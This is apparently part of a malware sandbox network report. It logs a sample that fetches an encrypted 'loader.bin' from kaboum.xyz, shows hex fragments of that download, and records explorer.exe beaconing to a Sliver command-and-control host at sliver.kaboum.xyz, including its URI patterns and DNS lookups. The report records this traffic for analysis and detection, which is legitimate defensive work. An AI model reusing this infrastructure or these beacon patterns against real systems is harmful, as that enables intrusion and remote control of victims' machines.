Dec 18, 2024 08:47:59.135601997 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:59.135721922 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:59.135725975 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.135763884 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.183456898 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:59.183465004 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.231213093 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:02.435704947 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:02.435892105 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:02.435961008 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:02.436048031 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:02.436048031 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:02.436094046 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:02.437114000 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:02.437165022 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:02.437243938 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:02.437443972 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:02.437470913 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:03.802999973 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:03.803208113 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:03.803268909 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:03.803359985 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:03.803374052 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:03.804246902 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:03.804317951 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:03.804838896 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:03.804898977 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:03.804971933 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:03.804986954 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:03.852565050 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:07.077404022 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:07.077601910 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:07.077666998 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:07.077754021 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:07.077801943 CET	443	49902	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:07.077827930 CET	49902	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:07.079459906 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:07.079499960 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:07.079560041 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:07.079852104 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:07.079864025 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:08.448873997 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:08.449152946 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:08.449186087 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:08.449290991 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:08.449299097 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:08.451306105 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:08.451380968 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:08.452094078 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:08.452155113 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:08.452286005 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:08.452295065 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:08.499742031 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:10.025178909 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:10.025404930 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:10.025475979 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:10.025566101 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:10.025602102 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:10.025602102 CET	49913	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:10.025624990 CET	443	49913	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:10.026406050 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:10.026479006 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:10.026587963 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:10.026797056 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:10.026815891 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.394592047 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.395003080 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:11.395037889 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.395090103 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:11.395102978 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.398614883 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.398690939 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:11.399236917 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:11.399405003 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:11.399418116 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.399467945 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.447279930 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:11.447340012 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:11.496366024 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:14.026376963 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:14.026571035 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:14.026648045 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:16.412571907 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:16.412573099 CET	49919	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:16.412626982 CET	443	49919	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:16.419611931 CET	49935	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:16.419661045 CET	443	49935	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:16.419744968 CET	49935	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:16.419966936 CET	49935	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:48:16.420002937 CET	443	49935	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:17.789875031 CET	443	49935	51.44.82.197	192.168.2.4
Dec 18, 2024 08:48:17.842461109 CET	49935	443	192.168.2.4	51.44.82.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 08:46:07.248209953 CET	55709	53	192.168.2.4	1.1.1.1
Dec 18, 2024 08:46:07.385248899 CET	53	55709	1.1.1.1	192.168.2.4
Dec 18, 2024 08:46:37.823605061 CET	55231	53	192.168.2.4	1.1.1.1
Dec 18, 2024 08:46:37.962069035 CET	53	55231	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 08:46:07.248209953 CET	192.168.2.4	1.1.1.1	0x2c6e	Standard query (0)	kaboum.xyz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 08:46:37.823605061 CET	192.168.2.4	1.1.1.1	0x96c1	Standard query (0)	sliver.kaboum.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 08:46:07.385248899 CET	1.1.1.1	192.168.2.4	0x2c6e	No error (0)	kaboum.xyz		51.158.71.131	A (IP address)	IN (0x0001)	false
Dec 18, 2024 08:46:37.962069035 CET	1.1.1.1	192.168.2.4	0x96c1	No error (0)	sliver.kaboum.xyz		51.44.82.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kaboum.xyz

sliver.kaboum.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	51.158.71.131	443	7604	C:\Users\user\Desktop\WOlxr4yjgF.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:09 UTC	69	OUT	GET /artdonjon/loader.bin HTTP/1.1 accept: / host: kaboum.xyz
2024-12-18 07:46:09 UTC	294	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 07:46:07 GMT Server: Apache/2.4.62 (Debian) Upgrade: h2 Connection: Upgrade, close Last-Modified: Tue, 17 Dec 2024 14:24:39 GMT ETag: "105766c-629780eb13220" Accept-Ranges: bytes Content-Length: 17135212 Content-Type: application/octet-stream
2024-12-18 07:46:09 UTC	7898	IN	Data Raw: e8 c0 41 05 01 c0 41 05 01 f7 09 c2 e2 46 8e 91 22 c2 58 06 ef e1 77 73 f9 6e f6 4c d1 02 dc fe 27 ee e4 31 27 8c 1a 80 ab 00 00 00 00 a0 a0 76 33 65 64 2b fa 5b 4f 4b 10 a8 86 9d d8 6d 2a 6d d1 45 4a ac 8b 4c 2d d8 67 d2 95 91 e1 5f 3b 83 41 6a 64 f7 de c9 86 a2 c3 b9 01 76 8b 03 aa f3 3d 2a 0d 73 1b 71 46 60 79 1e c1 09 2c 8e 3a d2 30 ad bf e6 6f 2f 7f 07 30 9c 0a 6e 45 24 69 17 f4 7a 1b ca 83 1c f0 61 cf 26 74 66 a6 26 a9 66 41 c9 2d e1 6a 88 dd 45 c7 52 32 82 07 70 ef a6 4e 3d 4b 97 46 7c d8 12 ca 8a 78 92 64 57 4a 8a cb 44 42 4e a0 9a e5 d0 84 e0 d2 48 b1 43 f4 be 6c bc 43 72 fb 44 db 3d c4 6f 4e df 1b ed 6c 4b 72 78 29 3d bd fe 36 1e ac 96 d9 68 eb 9d 92 0c 5e 04 0a 63 3f 25 a7 fb 5f 26 2b 75 08 5a 56 e9 5e 33 4c 85 b5 15 3b 09 d6 de 36 08 60 0b fd Data Ascii: AAF"XwsnL'1'v3ed+[OKmmEJL-g_;Ajdv=sqF`y,:0o/0nE$iza&tf&fA-jER2pN=KF\|xdWJDBNHClCrD=oNlKrx)=6h^c?%_&+uZV^3L;6`
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: 4c e2 6f f3 8e 0b 77 80 af 5f 6d 77 40 bb b9 76 8f db 9f b0 41 24 5e 72 66 9d 0a 8f ba d2 cc cd 10 b6 55 b3 ee 47 0b 10 f6 f4 de 5c 98 02 ed 41 52 80 15 93 8e 32 cb f5 e0 02 d0 cd d8 bc 29 01 f7 ea 5e 77 94 05 37 6d dc aa f1 0f ec de 87 63 a6 a1 de 9a 76 c1 77 59 49 3a bf 56 ae 6b b9 3a 7d 5d c3 0e ef 81 46 e9 c0 52 1a 34 04 54 91 e2 06 8a 7f 60 c6 8a 92 b1 c3 91 fd e5 a9 d9 c8 45 79 7f fe a2 99 35 23 dc 0f 7c ce d0 10 cb 9a cc fa 29 40 74 44 d8 fc c7 a8 43 00 85 0b 66 d9 b2 7a 64 cd 4b c5 f3 b5 d6 d2 d3 07 0c de 9d e7 d0 2c e5 ab 71 76 fd cc e7 12 2d 9b 34 aa ae 25 58 37 8e d2 99 e2 9d f2 1d 36 45 d3 af 77 22 6b 5f 28 27 a2 23 66 13 14 56 e8 e1 ff 53 94 23 62 82 5e e8 f6 5f f0 6d ce 62 09 79 87 e0 2b ba 6b ba 9e 33 dc 0c 8d c4 47 66 52 75 cf e0 c9 c8 c3 Data Ascii: Low_mw@vA$^rfUG\AR2)^w7mcvwYI:Vk:}]FR4T`Ey5#\|)@tDCfzdK,qv-4%X76Ew"k_('#fVS#b^_mby+k3GfRu
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: d9 d2 03 b4 77 cd 76 b5 f7 1b f5 12 d8 fe c1 d8 d2 67 6c 0f 64 1e 39 71 7d 5f bc 67 85 52 dd b8 ef 26 38 ef ff c3 1e 27 4e 68 1e c3 05 98 3b 88 b2 37 2a af cd 8d 7c ac e1 4e 38 59 04 92 7d 3b 28 e0 d8 41 9c 78 3d e9 ec ad 4a a0 d4 eb 43 62 2b 25 4d 97 b1 23 10 6b 27 71 7e b6 c6 9c fe 82 7b 72 22 12 27 bf 48 92 f6 37 da 39 43 88 7c 48 96 a7 e9 9f 84 03 96 8b 6e 30 ed 18 da 16 64 34 e6 15 66 9b a2 e6 fd f8 6a 50 60 cd de 7c be 1a 2d b7 c4 13 9c 2c 92 b0 01 68 04 52 aa b0 f4 2b e8 bd d1 66 41 35 e1 a6 40 71 33 41 8d a3 93 0f 7a 3e d5 5c 3f 70 fa 53 20 d9 38 99 62 dd d0 0f 19 ad 60 5c 36 6f 19 66 6e f8 22 b9 12 1a 85 f9 29 70 a5 aa fc 2d 09 9e b4 7d 60 4f dd 9f eb 35 5d b2 2e dc 4c 5c ff ab 07 97 6a a3 ac f6 51 8d 8e dd 3e c1 eb 2c f9 a7 bb 3d 46 de 1a 29 88 Data Ascii: wvgld9q}_gR&8'Nh;7*\|N8Y};(Ax=JCb+%M#k'q~{r"'H79C\|Hn0d4fjP`\|-,hR+fA5@q3Az>\?pS 8b`\6ofn")p-}`O5].L\jQ>,=F)
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: a7 6e 32 1d 8b ea fd bb 80 c0 31 b2 04 b6 ea cc 03 fd a7 eb cb 14 f6 11 22 b6 0d bc b9 b3 31 a5 55 07 f8 98 a7 2f bd 75 ac 1c 81 2d 5a ff 37 f7 37 de 6d 08 a4 c2 2c 1d 38 1c 63 78 ea f8 59 22 c4 f8 93 eb 53 d6 ee af ab e7 9c e1 51 4c e2 27 67 d4 83 db 99 52 2d c5 46 fb 3c 1e 84 3b fe 6b 86 5c 33 c3 b7 a1 89 6d a8 ee be 21 ac 0c 14 b9 6b 28 c5 2e cb 10 1a 59 79 40 8b 08 75 6c 60 5e a0 fa c8 0a 57 00 e4 30 6c e1 ae 9d cf 4d ff b2 25 b4 d5 f7 99 5b 8f aa f9 18 e5 01 0a c8 96 c3 2b 43 da 30 f3 5e 37 01 7c 7d 01 08 d3 e6 73 e8 8b 85 f6 65 1f fd 55 dd d6 bf d3 3a 97 dd 03 7f 7a 18 2c e9 18 48 b9 ac a9 03 ba e7 a3 5b be 3e 5c d6 3c 4f f3 2e 53 f0 0e c0 7c 1d d2 ed 75 54 de 55 a9 50 76 64 c8 4f 22 f6 2b 9c 7d 4b 45 8e 9c 6e 01 c6 5e 4c 71 92 0a d0 37 fa 23 fa 3e Data Ascii: n21"1U/u-Z77m,8cxY"SQL'gR-F<;k\3m!k(.Yy@ul`^W0lM%[+C0^7\|}seU:z,H[>\<O.S\|uTUPvdO"+}KEn^Lq7#>
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: f5 f2 4d 9f 17 c9 e4 c1 b6 90 d4 24 c0 7c 44 bd 19 7e f8 6c 88 58 3e 22 fb 40 a6 ab bc d6 d3 45 9b e9 56 8b 0f f3 ef 74 70 4f a0 55 f0 c1 ae 17 13 f3 98 18 36 68 82 ee d4 1f 3a ad 31 00 0d 73 ff 69 39 40 c8 d5 f1 38 90 f1 bf 91 f8 4c cb ef 07 fd 9b ae a9 59 67 01 1f 1f 1f 83 be 5a 98 99 ec b7 cf 6e ca 7a 14 38 9f eb 40 83 28 e0 20 b4 67 80 34 2f 81 2b a8 99 e6 86 b2 70 dc 14 58 02 f3 1a 50 d2 bc 70 c2 66 d2 77 0f af b7 7d e6 30 bc ab 3d e5 18 cf 52 91 53 8c eb be 8a ee 02 9c e2 2e 70 a8 1b 0c cb d6 08 32 8b 46 56 7e 13 ad 3f 87 7c 5b 26 12 47 f5 ef d7 77 60 ea 6b f8 c5 40 3e b9 8f 5d b6 6f 4e c8 2f b3 e9 3b a8 02 3a e8 3d c4 b5 72 e3 12 cf 68 b4 21 4f cb 66 39 7c f3 43 29 52 65 1f c2 49 b6 44 a5 ab f6 7a 6d a4 9e 7b 00 9a ff 1d a5 b5 ac b1 0c 30 f0 77 61 Data Ascii: M$\|D~lX>"@EVtpOU6h:1si9@8LYgZnz8@( g4/+pXPpfw}0=RS.p2FV~?\|[&Gw`k@>]oN/;:=rh!Of9\|C)ReIDzm{0wa
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: be 1d 92 91 43 a6 9c 0e a8 a1 9a 42 a5 d1 5d 81 93 a0 f1 5c 4e 5b 6f 7f 5f c5 18 ef c4 88 dd f5 9a c2 e6 f0 07 60 f2 2e 62 85 3b 73 0e 56 53 08 62 1d 96 4a 79 b5 9a a6 5b 42 4f 4c cb a7 98 6e b8 18 a0 cd 64 4d 3f 1b f5 c5 12 ab 33 57 18 ed 54 37 a5 40 e5 2f 91 7a aa e8 29 bd 65 0c f8 be c7 58 88 75 29 06 98 30 1a 58 8f 91 77 d3 f0 54 e3 32 09 a6 cc ee a7 b9 9a 4a 2f 2d bc 85 5a 00 3f ac 50 12 ae 45 fb e7 a3 3c 55 aa 0b ab 08 73 72 4e fb dc d6 b3 a3 a2 de 29 a5 32 37 98 99 65 39 77 a9 b5 bc 71 60 14 11 7e bb 56 74 ef d1 82 ea 39 5a 34 86 77 8e 38 1d 6e 13 a5 a0 de 2d ac 02 38 26 c8 d1 81 8f ed 7f ce b9 d6 f5 8c dd 47 45 57 09 dc 59 53 3a 2f a8 d2 82 0d db 9f 82 61 ee a7 98 59 74 e0 e4 7b 4c a9 34 a2 e7 5f 6c 8e 97 01 45 e5 f1 43 7a fa 71 e5 f3 6b 97 f6 db Data Ascii: CB]\N[o_`.b;sVSbJy[BOLndM?3WT7@/z)eXu)0XwT2J/-Z?PE<UsrN)27e9wq`~Vt9Z4w8n-8&GEWYS:/aYt{L4_lECzqk
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: 28 f5 95 39 41 c3 c2 87 51 e5 9a fb 74 85 04 32 08 16 82 dc 9f 90 d2 90 0f be e8 2f aa 09 c7 d2 e3 fb 54 4c e5 f2 cd cb 9e 8b 41 a3 5a d9 cf ac 45 19 4a 28 37 3b 28 d9 dc 82 4d 72 3c 5e 04 50 51 8f 9b 0e f1 92 f4 50 6a 51 93 92 e4 83 1b 11 e7 e4 6f 72 9d 8a fd 54 d4 e7 3d 15 cb ce c3 c7 98 cb 89 a0 8b 90 da b9 53 d1 4a a2 33 bd df 35 c4 9c 57 e1 a2 6b 69 2f ce c7 87 c4 c0 cf e8 d0 16 18 79 dd a9 6a 8a 0d 7f 4a 75 c9 73 66 0c b5 9a e5 7a 93 1f a2 3a 52 12 45 8e 0d 6a 77 92 2f 29 70 36 1a a6 20 cb 90 1e 24 90 1d 4e fd 27 49 cc 7b f2 f6 b0 54 27 09 46 0c fd 83 6f 95 63 5d 47 ba f7 89 1e 34 9c 68 9e 50 61 2f 23 cd 2a ac 25 0c 7e 7e 0a 5d 77 5b 76 f8 cc 31 09 20 04 e5 46 9a 4f f6 54 a9 d8 e4 f6 c8 45 96 e9 40 d1 f8 c7 41 a2 ed 55 1a 1c 46 e9 43 b4 29 68 28 4e Data Ascii: (9AQt2/TLAZEJ(7;(Mr<^PQPjQorT=SJ35Wki/yjJusfz:REjw/)p6 $N'I{T'Foc]G4hPa/#*%~~]w[v1 FOTE@AUFC)h(N
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: 7e 82 a1 a0 8d 43 c5 53 65 b7 09 e7 d1 9e 12 2b 71 f5 af cd ec a1 90 14 1c d2 05 81 33 17 92 4a ef 5f 7f 79 35 0c 27 e9 e4 6a ff 60 6c 0d ba cb 44 b1 1c 67 e7 c9 97 f5 8b 5c 3e 75 68 21 b0 68 fb 11 9e d6 c0 d6 3b 77 55 99 9b b3 2e 0e 91 35 95 bc 48 d1 3f ef a9 27 64 22 fe b7 9b e6 91 8a aa 20 79 f7 65 50 18 ed 5e e6 c0 73 8a 42 f4 dd fe 4f 93 92 02 dd 36 77 a8 d8 4f 01 c4 bd 17 b1 42 50 25 21 0d d1 d7 65 11 a7 10 fc 58 63 6b 7b 33 bb e5 ec 15 b8 24 a7 47 29 a3 8a ba dc 21 76 8e c4 b8 e8 1b ab 98 8b 52 8d 65 8e ae 8c c5 73 ca 71 ba c7 00 fe ff f7 e3 6b fd 3c cb af a0 06 b0 f3 4a 65 d9 fa 97 7a ec 87 6d 48 a4 79 21 8f 7d 28 cd 71 e2 ca aa 2f 89 49 96 51 d6 0f 5e 28 60 61 0c 51 b0 ac 89 f3 2c 97 49 02 0f e2 2e a2 f6 47 e2 39 5c 0b 2c 53 10 1f 98 25 33 a8 54 Data Ascii: ~CSe+q3J_y5'j`lDg\>uh!h;wU.5H?'d" yeP^sBO6wOBP%!eXck{3$G)!vResqk<JezmHy!}(q/IQ^(`aQ,I.G9\,S%3T
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: 4f 20 6b 66 38 ff e3 11 8d cd 96 22 9b 6f 15 2f 83 1d ce 14 01 be 99 59 dd f9 11 fa 2d 5e ba 61 6f 76 f4 fe 3c 55 eb 98 d2 8b f7 bb fc a8 66 8a a7 d5 ae f3 63 09 2f 6a 51 ef 26 35 a9 e4 a6 d5 05 42 f0 a3 50 4f d5 fc 72 9f 29 6e cc 31 39 9a 01 4a 58 17 f9 77 3f 0e 78 c9 d0 24 57 84 dd 53 90 da fb 85 21 1f 2f 5d e3 83 4c 3d ed ed a1 1e 8e b0 59 34 9e 8d bd 56 ff 4e 9f 52 8a a9 ae 63 df 9c 54 54 68 00 70 59 39 8a 31 16 e4 3c c3 8c 7c 2c 3a c4 96 fb 81 08 68 9d 55 ba 2a 96 a6 98 4f 8a 5c b3 3b 1a dc 69 33 94 e3 3a 13 6c 5b 95 22 78 6c cc a9 8d 3d 35 81 54 72 90 7a d5 1f 63 64 5f e8 64 6a d6 62 da 10 f3 99 f9 13 45 59 c5 7d a2 38 c2 df 2c d0 48 71 86 d4 37 b0 84 b7 a1 d7 33 09 fa 8d c3 76 b9 7c 58 ff 55 cf 54 86 3e fa 2a 2e 9b 97 7c 52 d8 9d c2 57 d8 b1 c1 c2 Data Ascii: O kf8"o/Y-^aov<Ufc/jQ&5BPOr)n19JXw?x$WS!/]L=Y4VNRcTThpY91<\|,:hUO\;i3:l["xl=5Trzcd_djbEY}8,Hq73v\|XUT>.\|RW
2024-12-18 07:46:09 UTC	8000	IN	Data Raw: 09 58 9d 9c 95 a5 d6 e7 ab e1 3e e1 27 8e 37 09 36 3c d6 01 23 ae c3 54 b2 2b 27 33 3b 37 ed 0d bc 87 22 d7 02 22 7c 42 4b a7 6e 45 5f 82 bc 3f 83 2e f4 87 ab f4 ec de f9 2c 8a e4 8b 95 2b 4e 4e f8 59 cb 5a 01 6c 97 b5 12 34 e3 f0 ad 9f 82 04 4c c8 ba 1e f1 5f 54 56 9f 8e 29 e5 07 b4 24 31 d1 0b 8d 52 7b 74 2d e5 68 f8 4c b7 fd eb f7 77 97 24 66 91 50 c7 94 c7 a0 97 ef 52 05 7c 20 2d 26 b1 5e 2a 19 e3 e4 6c f5 5c 50 ce 83 88 7b 85 c1 84 df a7 90 97 ef 82 04 b3 ab 0b cf cf dc 68 23 87 df ba dc ee de 28 42 cb 12 2b 91 42 b5 ef 95 37 25 19 75 80 27 98 25 ad 22 ac a3 f8 8c ae bd 6f d0 eb bf 09 0b fc c2 1a 8a 9a 3c 83 8f ca 05 4d d2 fb bd 4f f3 ed f1 f2 a1 24 99 2e 6b 2a 27 3c ff b7 06 0a 4d 57 1b 02 e8 f4 b1 a3 65 29 4f 9a 0b 8c 78 9e f4 b1 a1 6c 5c d4 9a 2a Data Ascii: X>'76<#T+'3;7""\|BKnE_?.,+NNYZl4L_TV)$1R{t-hLw$fPR\| -&^l\P{h#(B+B7%u'%"o<MO$.k'<MWe)Oxl\*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:39 UTC	297	OUT	POST /oauth2/oauth/db/oauth2callback/namespaces/api/api.html?gu=58741670&n=232c3364x9 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Content-Length: 355 Accept-Encoding: gzip
2024-12-18 07:46:39 UTC	355	OUT	Data Raw: 5a 4e 76 4b 41 78 45 70 75 68 7a 38 70 5a 46 30 75 50 36 6f 79 46 70 35 46 4d 42 2d 42 6d 33 63 46 79 35 2d 51 51 30 74 62 32 79 71 75 51 79 6a 76 46 72 52 68 51 6a 52 6a 53 79 46 75 39 58 46 6a 32 42 45 72 5f 48 62 2d 44 31 38 2d 72 79 76 72 34 72 50 76 64 2d 39 75 64 5f 33 71 5f 36 6d 6b 51 42 30 62 44 42 71 76 35 6a 2b 71 65 79 50 6a 34 6f 4a 76 62 4c 72 71 43 34 54 6f 71 5f 71 77 44 5f 6e 77 71 34 53 6b 50 5f 39 71 74 79 6f 2d 45 4f 4d 6f 72 75 6b 72 34 51 54 79 72 63 68 69 70 51 4c 66 35 2d 39 6a 38 75 47 77 73 6f 6e 72 73 6b 34 7a 72 36 69 6b 45 36 74 78 43 6f 43 76 35 31 38 79 63 48 6e 79 64 47 52 6f 46 79 54 6b 35 42 76 69 53 30 6b 71 50 36 75 73 34 63 68 52 34 46 58 37 57 2b 4a 59 37 4b 71 77 52 6b 42 72 4b 65 77 53 6a 6d 58 46 2d 78 6c 39 49 69 Data Ascii: ZNvKAxEpuhz8pZF0uP6oyFp5FMB-Bm3cFy5-QQ0tb2yquQyjvFrRhQjRjSyFu9XFj2BEr_Hb-D18-ryvr4rPvd-9ud_3q_6mkQB0bDBqv5j+qeyPj4oJvbLrqC4Toq_qwD_nwq4SkP_9qtyo-EOMorukr4QTyrchipQLf5-9j8uGwsonrsk4zr6ikE6txCoCv518ycHnydGRoFyTk5BviS0kqP6us4chR4FX7W+JY7KqwRkBrKewSjmXF-xl9Ii
2024-12-18 07:46:39 UTC	256	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Set-Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34; HttpOnly Date: Wed, 18 Dec 2024 07:46:39 GMT Content-Length: 114 Content-Type: text/plain; charset=utf-8 Connection: close
2024-12-18 07:46:39 UTC	114	IN	Data Raw: 64 34 74 2d 68 4f 2d 6b 51 75 75 68 45 52 51 6b 2d 5f 6d 43 38 4a 58 30 63 61 34 45 55 47 4c 5f 74 4b 53 4a 38 79 71 73 54 62 52 7a 73 64 4f 2b 4f 75 70 2d 48 62 45 31 62 47 5a 43 70 66 58 4c 74 58 47 47 79 73 79 70 43 31 37 57 72 6d 77 6b 77 55 35 75 6f 78 66 61 76 7a 35 50 48 32 55 34 48 53 73 34 79 70 55 50 6f 78 4e 77 51 76 59 35 53 6e Data Ascii: d4t-hO-kQuuhERQk-_mC8JX0ca4EUGL_tKSJ8yqsTbRzsdO+Oup-HbE1bGZCpfXLtXGGysypC17WrmwkwU5uoxfavz5PH2U4HSs4ypUPoxNwQvY5Sn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:41 UTC	469	OUT	GET /javascript/jscript/app.min.js?_=76p52a0964 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:46:43 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
